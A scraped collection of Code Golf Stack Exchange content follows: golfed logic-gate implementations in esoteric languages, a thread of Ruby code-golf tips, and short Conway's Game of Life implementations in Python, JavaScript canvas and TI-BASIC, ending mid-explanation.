`(({}){}{}[()])` ### not A, 34 bytes `(({}<{}(())>)){{}{}(((<{}>)))}{}{}` ### A implies B, 16 bytes `(({}){}{}[()()])` ### nand, 12 bytes `({}{}[()()])` ### true, 6 bytes `<>(())` ## Explanation Since most of these are very similar I am not going to explain exactly how each of them works. I try my best to make it clear however how all of the sixteen work. Firstly are the gates that return three of the same value (i.e. 2, 3, 5, 8, 9, 12, 14, and 15). These all follow the same pattern. First you convert the input into a two bit number with a as the twos place and B as the ones. This is done with this snippet `(({}){}{})`. You then subtract the value of the two bit input you want to isolate `({}[value])`. (In the actual code the subtraction and the conversion are done in one step to save bytes). This can be combined with a not if needed: `(({}<(())>)){{}{}(((<{}>)))}{}{}`. Next up: and, nor, or, xor, and xnor. These work similarly to the ones above. In fact some of these are included above, however this method is shorter. The trick I used here is that these each correspond to a sum of A B. e.g. xor evaluates to true if A+B = 1 and false otherwise. First you add A B and subtract the relevant amount. Expressed as `({}{}[0,1,2 or 3])`. Then if necessary conduct a not Next up: A, B, not A and not B. These are pretty much self explanatory. We start by removing the unnecessary value and then we either negate or finish. Lastly are the two simpletons: true and false. For these we push the correct value to the off stack. The `<>` nilad returns zero so we can save two bytes by using the switch as the zero value. Not the most efficient solution out there (perhaps the most efficient in Brain-Flak), but I had a good deal of fun writing these and I implore you to attempt to shorten these. [Answer] # [Binary lambda calculus](https://tromp.github.io/cl/cl.html), 216 bits = 27 bytes Uses the [Church numerals](https://en.wikipedia.org/wiki/Church_encoding#Church_numerals) 0 = λx. λy. y, 1 = λx. x as booleans. * 0,0,0,0 (`false`): `0000000010` = λa. λb. λx. λy. y * 0,0,0,1 (`and`): `000001011000111010` = λa. λb. b (λx. a) b * 0,0,1,0 (`A and not B`): `0000010111010000010` = λa. λb. a b (λx. λy. y) * 0,0,1,1 (`A`): `0000110` = λa. λb. a * 0,1,0,0 (`not A and B`): `00011000001110` = λa. a (λx. λy. a) * 0,1,0,1 (`B`): `000010` = λa. λb. b * 0,1,1,0 (`xor`): `00011000011000110` = λa. a (λx. x (λy. x)) * 0,1,1,1 (`or`): `00011000110` = λa. a (λx. a) * 1,0,0,0 (`nor`): `00000101011101010000010` = λa. λb. a b b (λx. λy. y) * 1,0,0,1 (`xnor`): `0001011000110000110110` = λa. a (λx. a) (λb. b a) * 1,0,1,0 (`not B`): `0000011000110` = λa. λb. b (λx. b) * 1,0,1,1 (`B implies A`): `00000110110` = λa. λb. b a * 1,1,0,0 (`not A`): `000001110001110` = λa. λb. a (λx. a) * 1,1,0,1 (`A implies B`): `0010` = λa. a * 1,1,1,0 (`nand`): `000001100111000110` = λa. λb. b (a (λx. b)) * 1,1,1,1 (`true`): `00000010` = λa. λb. λx. x # Binary lambda calculus, 292 bits = 36.5 bytes Uses the [Church booleans](https://en.wikipedia.org/wiki/Church_encoding#Church_Booleans) true = λx. λy. x, false = λx. λy. y. * 0,0,0,0 (`false`): `0000000010` = λa. λb. λx. λy. y * 0,0,0,1 (`and`): `000001011011010` = λa. λb. b a b * 0,0,1,0 (`A and not B`): `0000010110000010110` = λa. λb. b (λx. λy. y) a * 0,0,1,1 (`A`): `0000110` = λa. λb. a * 0,1,0,0 (`not A and B`): `000110000010` = λa. a (λx. λy. y) * 0,1,0,1 (`B`): `000010` = λa. λb. b * 0,1,1,0 (`xor`): `0000010111001011000001011010` = λa. λb. a (b (λx. λy. y) a) b * 0,1,1,1 (`or`): `00011010` = λa. a a * 1,0,0,0 (`nor`): `00000000010111101001011111010110` = λa. λb. b (λx. λy. y) (a b (λx. λy. x)) * 1,0,0,1 (`xnor`): `00000101110100101101100000110` = λa. λb. a b (b a (λx. λy. x)) * 1,0,1,0 (`not B`): `000000000101111010110` = λa. λb. λx. λy. b y x * 1,0,1,1 (`B implies A`): `00000101101100000110` = λa. λb. b a (λx. λy. x) * 1,1,0,0 (`not A`): `0000000001011111010110` = λa. λb. λx. λy. a y x * 1,1,0,1 (`A implies B`): `00000101110100000110` = λa. λb. a b (λx. λy. x) * 1,1,1,0 (`nand`): `000000000101111001011111010110110` = λa. λb. b (a (λx. λy. y) b) (λx. λy. x) * 1,1,1,1 (`true`): `00000000110` = λa. λb. λx. λy. x [Answer] ## [ProgFk](https://esolangs.org/wiki/ProgFk), ~~18.5~~ 17.5 bytes As ProgFk's instructions are specified in nibbles, the below code is given in hexadecimal, one logic gate per line and with spaces in between the bytes. ``` 3 E1 DE 2D <empty> DE 1 1 E3 E2 E2 D E3 D 1D DE 2 D DE 1D E1 D 4 ``` ### Explanation [ProgFk](https://esolangs.org/wiki/ProgFk) is a tape-based esolang (similar to Brainfuck) where each cell is a bit and instructions are given as nibbles (4 bytes). Instructions operate on the cell pointed to by the instruction pointer. Input is given in the first and second cells (with `A` and `B` being the first and second cells respectively), and the instruction pointer starts at the first cell. Output is stored in the first cell. Each instruction used is explained below. ``` 1 Increment the instruction pointer. 2 Decrement the instruction pointer. 3 Set the current bit to 0. 4 Set the current bit to 1. D Perform a NOT on the current bit. E The next instruction is an extended instruction. Extended instructions: 1 Set the current bit to the current bit AND the next bit. 2 Set the current bit to the current bit OR the next bit. 3 Set the current bit to the current bit XOR the next bit. 6 Swap the current bit and the next bit. ``` *Saved a byte thanks to @LeakyNun!* ]
[Question] [ What general tips can you give for golfing in Ruby? I'm looking for ideas that can be applied to code golf problems in general that are specific to Ruby. (For example, "Remove comments" would not be an answer.) Please post one tip per answer. [Answer] * The numbers 100 to 126 can be written as `?d` to `?~` in 1.8. * On a similar note if you need a single-character string in 1.9 ?x is shorter than "x". * If you need to print a string without appending a newline, `$><<"string"` is shorter than `print"string"`. * If you need to read multiple lines of input `$<.map{|l|...}` is shorter than `while l=gets;...;end`. Also you can use `$<.read` to read it all at once. * If you're supposed to read from a file, `$<` and `gets` will read from a file instead of stdin if the filename is in `ARGV`. So the golfiest way to reimplement `cat` would be: `$><<$<.read`. [Answer] Use the splat operator to get the tail and head of an array: ``` head, *tail = [1,2,3] head => 1 tail => [2,3] ``` This also works the other way: ``` *head, tail = [1,2,3] head => [1,2] tail => 3 ``` Use the `*` method with a string on an array to join elements: ``` [1,2,3]*?, => "1,2,3" ``` [Answer] * Use `abort` to terminate the program and print a string to STDERR - shorter than `puts` followed by `exit` * If you read a line with `gets`, you can then use `~/$/` to find its length (this doesn't count a trailing newline if it exists) * Use `[]` to check if a string contains another: `'foo'['f'] #=> 'f'` * Use `tr` instead of `gsub` for character-wise substitutions: `'01011'.tr('01','AB') #=> 'ABABB'` * If you need to remove trailing newlines, use `chop` instead of `chomp` [Answer] # End your `end`. Try to remove `end` from your code. Don't use `def...end` to define functions. Make a lambda with the new -> operator in Ruby 1.9. (The -> operator is a ["stabby lambda", or "dash rocket"](https://stackoverflow.com/q/8476627/3614563).) This saves 5 characters per function. ``` # 28 characters def c n /(\d)\1/=~n.to_s end # 23 characters, saves 5 c=->n{/(\d)\1/=~n.to_s} ``` Method calls are `c n` or `c(n)`. Lambda calls are `c[n]`. Changing each `c n` to `c[n]` costs 1 character, so if you can use `c n` more than 5 times, then keep the method. All methods that take `do...end` blocks can take `{...}` blocks instead. This saves 3 to 5 characters. If the precedence of `{...}` is too high, then use parentheses to fix it. ``` # 48 characters (?a..?m).zip (1..5).cycle do|a|puts a.join','end # WRONG: passes block to cycle, not zip (?a..?m).zip (1..5).cycle{|a|puts a.join','} # 45 characters, saves 3 (?a..?m).zip((1..5).cycle){|a|puts a.join','} ``` Replace `if...else...end` with the [ternary operator](https://codegolf.stackexchange.com/a/5315/4065) `?:`. If a branch has two or more statements, wrap them in parentheses. ``` # 67 characters if a<b puts'statement 1' puts'statement 2'else puts'statement 3'end # 62 characters, saves 5 a<b ?(puts'statement 1' puts'statement 2'):(puts'statement 3') ``` You probably don't have `while` or `until` loops, but if you do, then write them in modifier form. ``` (a+=1 b-=1)while a<b ``` [Answer] Addition to w0lf > > When working with arrays, `.compact` can be replaced with `-[nil]` to save 2 chars. > > > Combined with above -> you can make it even shorter with `-[p]` to save another 2 chars. [Answer] Use the short predefined variables wherever possible, e.g. `$*` instead of `ARGV`. There's a good list of them [here](http://www.zenspider.com/ruby/quickref.html#pseudo-variables), along with a lot of other useful information. [Answer] # Use operator methods instead of parentheses Let's say you want to express `a*(b+c)`. Because of precedence, `a*b+c` won't work (obviously). Ruby's cool way of having operators as methods comes to the rescue! You can use `a.*b+c` to make the precedence of `*` lower than that of `+`. ``` a*(b+c) # too long a*b+c # wrong a.*b+c # 1 byte saved! ``` This can also work with the `!` and `~` operators (things like unary `+` or unary `-` don't work because their methods are `-@` and `+@`, saving `()` but adding `.@`) ``` (~x).to_s # too long ~x.to_s # error x.~.to_s # 1 byte saved! ``` [Answer] Don't use the `true` and `false` keywords. Use: * `!p` for `true` (thanks, histocrat!) * `!0` for `false`. If all you need is a falsy value, then you can simply use `p` (which returns `nil`). to save some chars. [Answer] When you are using string interpolation, (as you should pr [Martin Büttner's post](https://codegolf.stackexchange.com/a/37519/4372)), you don't need the curly brackets if your object has a sigil (`$`, `@`) in front of it. Useful for magical variables like `$_`, `$&`, `$1` etc: ``` puts "this program has read #$. lines of input" ``` So also if you need to print a variable more than you use it otherwise, you may save some bytes. ``` a=42; puts "here is a: #{a}"; puts "here is a again: #{a}" $b=43; puts "here is b: #$b"; puts "here is b again: #$b" ``` [Answer] If you need to find if a particular element `e` is inside a range `r`, you can use ``` r===e ``` instead of the longer: ``` r.cover?(e) # only works if `r.exclude_end?` is false ``` or ``` r.member?(e) ``` or ``` r.include?(e) ``` [Answer] # New features in Ruby 2.3 and 2.4 It's good to stay abreast of new language features that will help your golf game. There are a few great ones in the latest Rubies. ## Ruby 2.3 ### The safe navigation operator: `&.` When you call a method that might return `nil` but you want to chain additional method calls if it's not, you waste bytes handling the `nil` case: ``` arr = ["zero", "one", "two"] x = arr[5].size # => NoMethodError: undefined method `size' for nil:NilClass x = arr[5].size rescue 0 # => 0 ``` The "safe navigation operator" stops the chain of method calls if one returns `nil` and returns `nil` for the whole expression: ``` x = arr[5]&.size || 0 # => 0 ``` ### `Array#dig` & `Hash#dig` Deep access to nested elements, with a nice short name: ``` o = { foo: [{ bar: ["baz", "qux"] }] } o.dig(:foo, 0, :bar, 1) # => "qux" ``` Returns `nil` if it hits a dead end: ``` o.dig(:foo, 99, :bar, 1) # => nil ``` ### `Enumerable#grep_v` The inverse of `Enumerable#grep`—returns all elements that don't match the given argument (compared with `===`). Like `grep`, if a block is given its result is returned instead. ``` (1..10).grep_v 2..5 # => [1, 6, 7, 8, 9, 10] (1..10).grep_v(2..5){|v|v*2} # => [2, 12, 14, 16, 18, 20] ``` ### `Hash#to_proc` Returns a Proc that yields the value for the given key, which can be pretty handy: ``` h = { N: 0, E: 1, S: 2, W: 3 } %i[N N E S E S W].map(&h) # => [0, 0, 1, 2, 1, 2, 3] ``` ## Ruby 2.4 Ruby 2.4 isn't out yet, but it will be soon and has some great little features. (When it's released I'll update this post with some links to the docs.) I learned about most of these in [this great blog post](https://blog.blockscore.com/new-features-in-ruby-2-4/). ### `Enumerable#sum` No more `arr.reduce(:+)`. You can now just do `arr.sum`. It takes an optional initial value argument, which defaults to 0 for Numeric elements (`[].sum == 0`). For other types you'll need to provide an initial value. It also accepts a block that will be applied to each element before addition: ``` [[1, 10], [2, 20], [3, 30]].sum {|a,b| a + b } # => 66 ``` ### `Integer#digits` This returns an array of a number's digits in least-to-greatest significance order: ``` 123.digits # => [3, 2, 1] ``` Compared to, say, `123.to_s.chars.map(&:to_i).reverse`, this is pretty nice. As a bonus, it takes an optional radix argument: ``` a = 0x7b.digits(16) # => [11, 7] a.map{|d|"%x"%d} # => ["b", "7"] ``` ### `Comparable#clamp` Does what it says on the tin: ``` v = 15 v.clamp(10, 20) # => 15 v.clamp(0, 10) # => 10 v.clamp(20, 30) # => 20 ``` Since it's in Comparable you can use it with any class that includes Comparable, e.g.: ``` ?~.clamp(?A, ?Z) # => "Z" ``` ### `String#unpack1` A 2-byte savings over `.unpack(...)[0]`: ``` "👻💩".unpack(?U) # => [128123] "👻💩".unpack(?U)[0] # => 128123 "👻💩".unpack1(?U) # => 128123 ``` ### Precision argument for `Numeric#ceil`, `floor`, and `truncate` ``` Math::E.ceil(1) # => 2.8 Math::E.floor(1) # => 2.7 (-Math::E).truncate(1) # => -2.7 ``` ### Multiple assignment in conditionals This raises an error in earlier versions of Ruby, but is allowed in 2.4. ``` (a,b=1,2) ? "yes" : "no" # => "yes" (a,b=nil) ? "yes" : "no" # => "no" ``` [Answer] Build arrays using `a=i,*a` to get them in reverse order. You don't even need to initialize `a`, and if you do [it doesn't have to be an array](http://golf.shinh.org/reveal.rb?count+up+digits/Histocrat_1390488293&rb). [Answer] `$_` is last read line. * `print` - if no argument given print content of `$_` * `~/regexp/` - short for `$_=~/regexp/` In Ruby 1.8, you have four methods in `Kernel` that operate on `$_`: * `chop` * `chomp` * `sub` * `gsub` In Ruby 1.9, these four methods exist only if your script uses `-n` or `-p`. If you want to print some variable often then use `trace_var(:var_name){|a|p a}` [Answer] Use string interpolation! 1. To replace `to_s`. If you need parentheses around whatever you want to turn into a string, `to_s` is two bytes longer than string interpolation: ``` (n+10**i).to_s "#{n+10**i}" ``` 2. To replace concatenation. If you concatenate something surrounded by two other strings, interpolation can save you one byte: ``` "foo"+c+"bar" "foo#{c}bar" ``` Also works if the middle thing is itself concatenated, if you just move the concatenation inside the interpolation (instead of using multiple interpolations): ``` "foo"+c+d+e+"bar" "foo#{c+d+e}bar" ``` [Answer] # Avoid `length` in `if a.length<n` `length` is 6 bytes, a bit costly in code golf. in many situations, you can instead check if the array has anything at a given point. if you grab past the last index you will get `nil`, a falsey value. So you can Change: `if a.length<5` to `if !a[4]` for -5 bytes or `if a.length>5` to `if a[5]` for -6 bytes or `if a.length<n` to `if !a[n-1]` for -3 bytes or `if a.length>n` to `if a[n]` for -6 bytes **Note**: will only work with an array of all truthy values. having `nil` or `false` within the array may cause problems. [Answer] # New features in Ruby 2.7 (experimental) Ruby 2.7 is in prerelease (as of 17 Jun 2019) and has some features that look great for golfing. Note that some of them might not make it into the final 2.7 release. All changes in Ruby 2.7-preview1: <https://github.com/ruby/ruby/blob/v2_7_0_preview1/NEWS> ### Numbered block parameters This is my favorite. It lets you *finally* drop the `|a,b|` in a block: **Edit:** The syntax was changed from `@1` to `_1`. ``` %w[a b c].zip(1..) { puts _1 * _2 } # => a # bb # ccc ``` ### ~~Method reference operator: `.:`~~ **Edit:** This was unfortunately removed before release. `.:` is syntactic sugar for the `.method` method, e.g.: ``` (1..5).map(&1r.:/) # => [(1/1), (1/2), (1/3), (1/4), (1/5)] ``` ### Pattern matching I'm not sure how much use this will see in golf, but it's a great feature for which I only have a contrived example: ``` def div(*a) case a in [0, 0] then nil in [x, 0] if x > 0 then Float::INFINITY in [x, 0] then -Float::INFINITY in [x, y] then x.fdiv(y) end end div(-3, 0) # => -Infinity ``` The pattern matching syntax has lots of features. For a complete list, check out this presentation: <https://speakerdeck.com/k_tsj/pattern-matching-new-feature-in-ruby-2-dot-7> This is also the feature most likely to change before 2.7 is finished; it even prints a warning when you try to use it, which you should heed: > > warning: Pattern matching is experimental, and the behavior may change in future versions of Ruby! > > > ### Beginless Range: `..3` Analogous to the endless Range introduced in 2.6, it may or may not have much use in golfing: ``` %w[a v o c a d o].grep(..?m) # => ["a", "c", "a", "d"] ``` ### `Enumerable#tally` to count like elements This could be useful in golfing: ``` %w[a v o c a d o].tally # => {"a"=>2, "v"=>1, "o"=>2, "c"=>1, "d"=>1} ``` ### `Enumerable#filter_map` to `filter`+`map` in one ``` (1..20).filter_map {|i| 10 * i if i.even? } # => [20, 40, 60, 80, 100] ``` If the block returns `nil` or `false` the element will be omitted from the result. ### `Integer#[]` takes a second argument or range: You've long been able to get a specific bit from an integer with with subscript notation: ``` n = 77 # (binary 01001101) n[3] # => 1 ``` Now you can get the value of a range of bits by a second length argument or a range. ``` n = 0b01001101 n[2, 4] # => 3 (0011) n[2..5] # => 3 ``` Note that bits are indexed from least- to most-significant (right to left). [Answer] Don't use #each. You can loop over all elements just fine with #map. So instead of ``` ARGV.each{|x|puts x} ``` you can do the same in less bytes. ``` ARGV.map{|x|puts x} ``` Of course, in this case `puts $*` would be even shorter. --- There are literals for rational and complex numbers: ``` puts 3/11r == Rational(3,11) puts 3.3r == Rational(66,20) puts 1-1.i == Complex(1,-1) => true true true ``` --- You can use most bytes within strings. `"\x01"` (6 bytes) can be shortened to `""` (3 bytes). If you only need this one byte, this can be shortened even further to `?` (2 bytes). By the same token, you can get newlines shorter like this: ``` (0..10).to_a.join' ' => "0\n1\n2\n3\n4\n5\n6\n7\n8\n9\n10" ``` You can use `?\n` and `?\t` as well, which is one byte shorter than `"\n"` and `"\t"`. For obfuscation, there also ?\s, a space. --- Use constants instead of passing arguments around, even if you need to change them. The interpreter will give warnings to *stderr*, but who cares. If you need to define more variables related to each other, you can chain them like this: ``` A=C+B=7+C=9 => A=17, B=16, C=9 ``` This is shorter than `C=9;B=16;A=17` or `C=0;B=C+7;A=C+B`. --- If you need an infinite loop, use `loop{...}`. Loops of unknown length may be shorter with other loops: ``` loop{break if' '==f(gets)} while' '!=f(gets);end ``` --- Some more gsub/regexp tricks. Use the special `'\1'` escape characters instead of a block: ``` "golf=great short=awesome".gsub(/(\w+)=(\w+)/,'(\1~>\2)') "golf=great short=awesome".gsub(/(\w+)=(\w+)/){"(#{$1}~>#{$2})") ``` And the special variables `$1` etc. if you need to perform operations. Keep in mind they are defined not only inside the block: ``` "A code-golf challenge." =~ /(\w+)-(\w+)/ p [$1,$2,$`,$'] => ["code", "golf", "A ", " challenge."] ``` --- Get rid of spaces, newlines, and parentheses. You can omit quite a bit in ruby. If in doubt, always try if it works without, and keep in mind this might break some editor syntax highlighting... ``` x+=1if$*<<A==????::??==?? ``` [Answer] If you ever need to get a number from `ARGV`, `get`, or something similar to do something that many times, instead of calling `to_i` on it, you can just use `?1.upto x{do something x times}` where x is a string. So using `?1.upto(a){}` instead of `x.to_i.times{}` will save you 2 characters. You can also re-write things like `p 1 while 1` or `p 1 if 1` as `p 1while 1` or `p 1if 1` That example isn't very useful, but it could be used for other things. Also, if you need to assign the first element of an array to a variable, `a,=c` will save two characters as opposed to `a=c[0]` [Answer] # Save some bytes when removing repeated elements of an array ``` a.uniq # before a|[] # after ^^ ``` If you will be using an empty array `[]` in a variable, you can save even more bytes: ``` a.uniq;b=[] # before a|b=[] # after ^^^^^ ``` [Answer] Scientific notation can often be used to shave off a char or two: ``` x=1000 #versus x=1e3 ``` [Answer] [Kernel#p](http://ruby-doc.org/core-2.1.2/Kernel.html#method-i-p) is a fun method. Use `p var` instead of `puts var`. This works perfectly with integers and floats, but not with all types. It prints quotation marks around strings, which is probably not what you want. Used with a single argument, `p` returns the argument after printing it. Used with multiple arguments, `p` returns the arguments in an array. Use `p` (with no arguments) instead of `nil`. [Answer] Yet another way to use the splat operator: if you want to assign a single array literal, a `*` on the left-hand side is shorter than brackets on the right-hand side: ``` a=[0] *a=0 ``` With multiple values you don't even need the splat operator (thanks to histocrat for correcting me on that): ``` a=[1,2] a=1,2 ``` [Answer] To join an array, instead of this ``` [...].join ``` do this ``` [...]*'' ``` which saves 2 bytes. To join with a separator use ``` [...]*?, ``` [Answer] # Save a byte when printing a word with symbols This is a bit situational, but every byte counts! ``` puts"thing" # before puts:thing # after ^ ``` [Answer] # Avoid `Array#repeated_permutation` and `Array#repeated_combination` *Credit to @AsoneTuhid who golfed the code for repeated permutations of length \$\ge5\$.* Some of Ruby's built-in methods have unfortunately long names. Never use `Array#repeated_permutation` or `Array#repeated_combination`; save bytes as follows. ### Repeated permutations Assume `a` is an array. To get repeated permutations of length \$L = n + 1\$ of the elements of `a`: ``` a.product(a,a,a) # L <= 4; number of arguments = n a.product(*[a]*n) # L >= 5 ``` Depending on context, the parentheses may not be required. Both of the above yield an array. To iterate over the permutations, simply call with a block. ### Repeated combinations For repeated combinations of length \$L\$, use one of ``` a.send(a.methods[42],L) # enumerator [*a.send(a.methods[42],L)] # array ``` The index that yields `:repeated_combination` depends on the Ruby version and possibly the OS (`42` is correct for Ruby 2.5.5 on Linux, which is the version on [TIO](https://tio.run/#ruby) at the time of writing). The default indexing may also be [disrupted](https://codegolf.stackexchange.com/a/212107/92901) if any libraries are loaded. The correct index in any case can always be found using `[].methods.index(:repeated_combination)`. --- In general, calling a method by index using `Object#send` and `Object#methods`, as demonstrated above for repeated combinations, is shorter than a direct method call when the number of bytes in the method name and the index of the method in the `methods` array satisfy: ``` +-------+-------+ | **Bytes** | **Index** | +-------+-------+ | 19+ | 0-9 | | 20+ | 10-99 | | 21+ | 100+ | +-------+-------+ Subtract 1 from byte count if parentheses not needed for send. ``` [Answer] Use Goruby instead of Ruby, which is something like an abbreviated version of Ruby. You can install it with rvm via ``` rvm install goruby ``` Goruby allows you to write most of your code as you would be writing Ruby, but has additional abbreviations built in. To find out the shortest available abbreviation for something, you can use the helper method `shortest_abbreviation`, for example: ``` shortest_abbreviation :puts #=> "pts" Array.new.shortest_abbreviation :map #=> "m" String.new.shortest_abbreviation :capitalize #=> "cp" Array.new.shortest_abbreviation :join #=> "j" ``` Also very handy is the alias `say` for `puts` which itself can be abbreviated with `s`. So instead of ``` puts [*?a..?z].map(&:capitalize).join ``` you can now write ``` s [*?a..?z].m(&:cp).j ``` to print the alphabet in capitals (which is not avery good example). [This blog post](http://rbjl.net/34-do-you-know-the-official-ruby-interpreter-goruby) explains more stuff and some of the inner workings if you are interested in further reading. PS: don't miss out on the `h` method ;-) [Answer] I just attempted a TDD code-golf challenge i.e. Write shortest code to make specs pass. The specs were something like ``` describe PigLatin do describe '.translate' do it 'translates "cat" to "atcay"' do expect(PigLatin.translate('cat')).to eq('atcay') end # And similar examples for .translate end end ``` For the sake of code-golf, one need not create a module or class. Instead of ``` module PigLatin def self.translate s;'some code'end;end ``` one can do ``` def(PigLatin=p).translate s;'some code'end ``` Saves 13 characters! [Answer] When a challenge requires that you output multiple lines, you don't have to [loop](https://codegolf.stackexchange.com/a/49792/4372) through your results in order to print each line of e.g. an array. The `puts` method will flatten an array and print each element on a separate line. ``` > a = %w(testing one two three) > puts a testing one two three ``` Combining the splat operator with [`#p`](https://codegolf.stackexchange.com/a/9268/4372) you can make it even shorter: ``` p *a ``` The splat operator (technically the `*@` method, I think) also casts your non-array enumerables to arrays: ``` > p a.lazy.map{|x|x*2} #<Enumerator::Lazy: #<Enumerator::Lazy: [1, 2, 3]>:map> ``` vs ``` > p *a.lazy.map{|x|x*2} 2 4 6 ``` [Answer] # Subscripting Numbers! I just discovered this yesterday. `n[i]` returns `n`'s bit at the `i`-th position. Example: ``` irb(main):001:0> n = 0b11010010 => 210 irb(main):002:0> n[0] => 0 irb(main):003:0> n[1] => 1 irb(main):004:0> n[2] => 0 irb(main):005:0> n[3] => 0 irb(main):006:0> n[4] => 1 irb(main):007:0> n[5] => 0 ``` [Answer] # On looping ### `while...end` If you need to `break` out of the loop, `while condition;code;end` will probably be shorter than `loop{code;condition||break}`. The `;` before `end` is not always required, eg. `while condition;p("text")end` `until c;...;end` is equivalent to `while !c;...;end` and 1 byte shorter. Note that in most cases `code while condition` and `code until condition` are significantly shorter as they don't require the `end` keyword and can often drop semicolons. Also, `i+=1 while true` is equivalent to `i+=1while true` and 1 byte shorter. ### `redo` When run, the `redo` command jumps back to the beginning of the block it's in. When using `redo` in a lambda, you will have to move any setup variables to the arguments to avoid them being reset at every iteration (see examples). ### recursion Recursion can be shorter is some cases. For instance, if you're working on an array element by element, something like `f=->s,*t{p s;t[0]&&f[*t]}` can be shorter than the alternatives depending on the `stuff`. Note that per the [current consensus](https://codegolf.meta.stackexchange.com/a/6940/77598), if you're calling your function by name, you need to include the assignment (`f=`) in the byte count making all recursive lambdas 2 bytes longer by default. ### `eval` If you need to run some code `n` times, you can use `eval"code;"*n`. This will concatenate `code;` `n` times and run the whole thing. Note that in most cases you need to include a `;` after your code. ## Examples ### A lambda to print all numbers from `1` to `a` inclusive: ``` ->n{i=0;loop{p i+=1;i<n||break}} # 32 bytes f=->n,i=1{i>n||p(i)&&f[n,i+1]} # 30 bytes ->n,i=0{p(i+=1)<n&&redo} # 24 bytes ->n{i=0;p i+=1while i<n} # 24 bytes ->n{i=0;eval"p i+=1;"*n} # 24 bytes ->n{n.times{|i|p i+1}} # 22 bytes # thanks to @benj2240 ->n{n.times{p _1+1}} # 20 bytes # thanks to @AgentIvan ``` In this case, since the end-point is defined (`n`), the `n.times` loop is the shortest. The `redo` loop works because `i+=1` modifies i and returns its new value and `p(x)` returns `x` (this is not true of `print` and `puts`). ### Given a function `g` and a number `n`, find the first number strictly larger than `n` for which `g[n]` is truthy ``` ->g,n{loop{g[n+=1]&&break};n} # 29 bytes f=->g,n{g[n+=1]?n:f[g,n]} # 25 bytes ->g,n{1until g[n+=1];n} # 23 bytes ->g,n{(n+1..).find &g} # 22 bytes ->g,n{g[n+=1]?n:redo} # 21 bytes ``` In this case, with an unknown end-point, `redo` is the best option. The `(n+1..Inf)` loop is equivalent to simply `loop`ing indefinitely but more verbose. A `1` (or anything else) is required before the `until` keyword to complete the syntax, using a number allows you to drop a space. The `eval` method is not viable in this case because there is neither a defined end-point nor an upper bound. Update: with the new open ranges `(n+1..Inf)` can be written simply as `(n+1..)`, also `.find{|x|g[x]}` is equivalent to `.find &g` where `g` is converted to a block. TL;DR check out `redo`, it can very often shave off a couple of bytes ]
[Question] [ [Conway's Game of Life](http://en.wikipedia.org/wiki/Conways_Game_of_Life) is the classic example of cellular automation. The cells form a square grid and each has two states: alive or dead. On each turn, each cell simultaneously updates according to its state and those of its eight neighbours: * A live cell remains alive if it has exactly two or three live neighbours * A dead cell becomes alive if it has exactly three live neighbours Your mission, should you choose to accept it, is to code the shortest Game of Life implementation in your favourite language. The rules: * The grid must be at least 20x20 * The grid must wrap around (so the grid is like the surface of a Torus) * Your implementation must allow the user to input their own starting patterns * GoL is a bit pointless if you can't see what is happening, so there must be visual output of the automaton running, with each turn's result being shown for long enough to be seen! [Answer] ## Python, 219 chars I went for maximum golfage, with just enough interface to satisfy the question. ``` import time P=input() N=range(20) while 1: for i in N:print''.join(' *'[i*20+j in P]for j in N) time.sleep(.1);Q=[(p+d)%400 for d in(-21,-20,-19,-1,1,19,20,21)for p in P];P=set(p for p in Q if 2-(p in P)<Q.count(p)<4) ``` You run it like this: ``` echo "[8,29,47,48,49]" | ./life.py ``` The numbers in the list represent the coordinates of the starting cells. The first row is 0-19, the second row is 20-39, etc. Run it in a terminal with 21 rows and it looks pretty snazzy. [Answer] ## HTML5 Canvas with JavaScript, 940 639 586 519 characters ``` <html><body onload="k=40;g=10;b=[];setInterval(function(){c=[];for(y=k*k;y--;){n=0;for(f=9;f--;)n+=b[(~~(y/k)+k+f%3-1)%k*k+(y+k+~~(f/3)-1)%k];c[y]=n==3||n-b[y]==3;r.fillStyle=b[y]?'red':'tan';r.fillRect(y%k*g,~~(y/k)*g,g-1,g-1)}if(v.nextSibling.checked)b=c},1);v=document.body.firstChild;v.width=v.height=g*k;v.addEventListener('click',function(e){b[~~((e.pageY-v.offsetTop)/g)*k+~~((e.pageX-v.offsetLeft)/g)]^=1},0);r=v.getContext('2d');for(y=k*k;y--;)b[y]=0"><canvas></canvas><input type="checkbox"/>Run</body></html> ``` I always wanted to do something with canvas, so here is my attempt (original version [online](http://jsfiddle.net/RrtfS/)). You can toggle cells by clicking (also possible in running mode). You can now also try the new version [here](http://jsfiddle.net/FPUzk/). Unfortunately there is an issue I couldn't work around yet. The online version is 11 characters longer because jsFiddle puts a text node just before the canvas (why?) and thus the canvas is no longer the first child. *Edit 1:* Lots of optimisations and restructurings. *Edit 2:* Several smaller changes. *Edit 3:* Inlined the complete script block plus minor changes. [Answer] # TI-BASIC, 96 bytes (87 for non-competing entry) For your TI-84 series graphing calculator (!). This was quite a challenge, because there is no easy way to write a buffered graphics routine (definitely nothing built in), and the graph screen has only four relevant graphics commands: `Pxl-On()`, `Pxl-Off()`, `Pxl-Change()`, and `pxl-Test()`. Uses every accessible pixel on the screen, and wraps correctly. Each cell is one pixel, and the program updates line by line horizontally to the right across the screen. Because the calculators have only a 15MHz z80 processor and BASIC is a slow interpreted language, the code only gets one frame about every five minutes. User input is easy: before running the program, use the Pen tool to draw your shape on the graph screen. Adapted from my entry to a [code golf contest at the calculator forum Omnimaga](https://www.omnimaga.org/community-contests/code-golf-the-reboot-3/). ``` 0 While 1 For(X,0,94 Ans/7+49seq(pxl-Test(remainder(Y,63),remainder(X+1,95)),Y,62,123 For(Y,0,62 If 1=pxl-Test(Y,X)+int(3fPart(3cosh(fPart(6ֿ¹iPart(sum(Ans,Y+1,Y+3 Pxl-Change(Y,X End End End ``` ## Omnimaga version (87 bytes) This code has an additional feature: it detects if it is being run for the first time, and if randomizes the screen state. In subsequent runs it automatically continues the simulation if stopped after a frame is finished. However, it is not a competing entry because it does not wrap the screen; the cells on the outer border will always be considered dead if the graph screen is cleared beforehand. ``` 0 While 1 For(X,0,93 Ans/7+49seq(pxl-Test(Y,X+1),Y,0,62 For(Y,1,61 If 2rand>isClockOn=pxl-Test(Y,X)+int(3fPart(3cosh(fPart(6ֿ¹iPart(sum(Ans,Y,Y+2 Pxl-Change(Y,X End End ClockOff End ``` This version is probably the most golfed code I have ever written, and contains some truly nasty obfuscatory optimizations: * I use the clock state as a flag. At the start of the program, the date/time clock is enabled, and I use the value of the global isClockOn flag to determine whether it is the first iteration. After the first frame is drawn, I turn the clock off. Saves one byte over the shortest other method and about four over the obvious method. * I store the states of the three columns next to the one being updated in a 63-element array of base-7 numbers. The 49's place holds the column to the right, the 7's place holds the middle column, and the units place holds the left column--1 for a live cell and 0 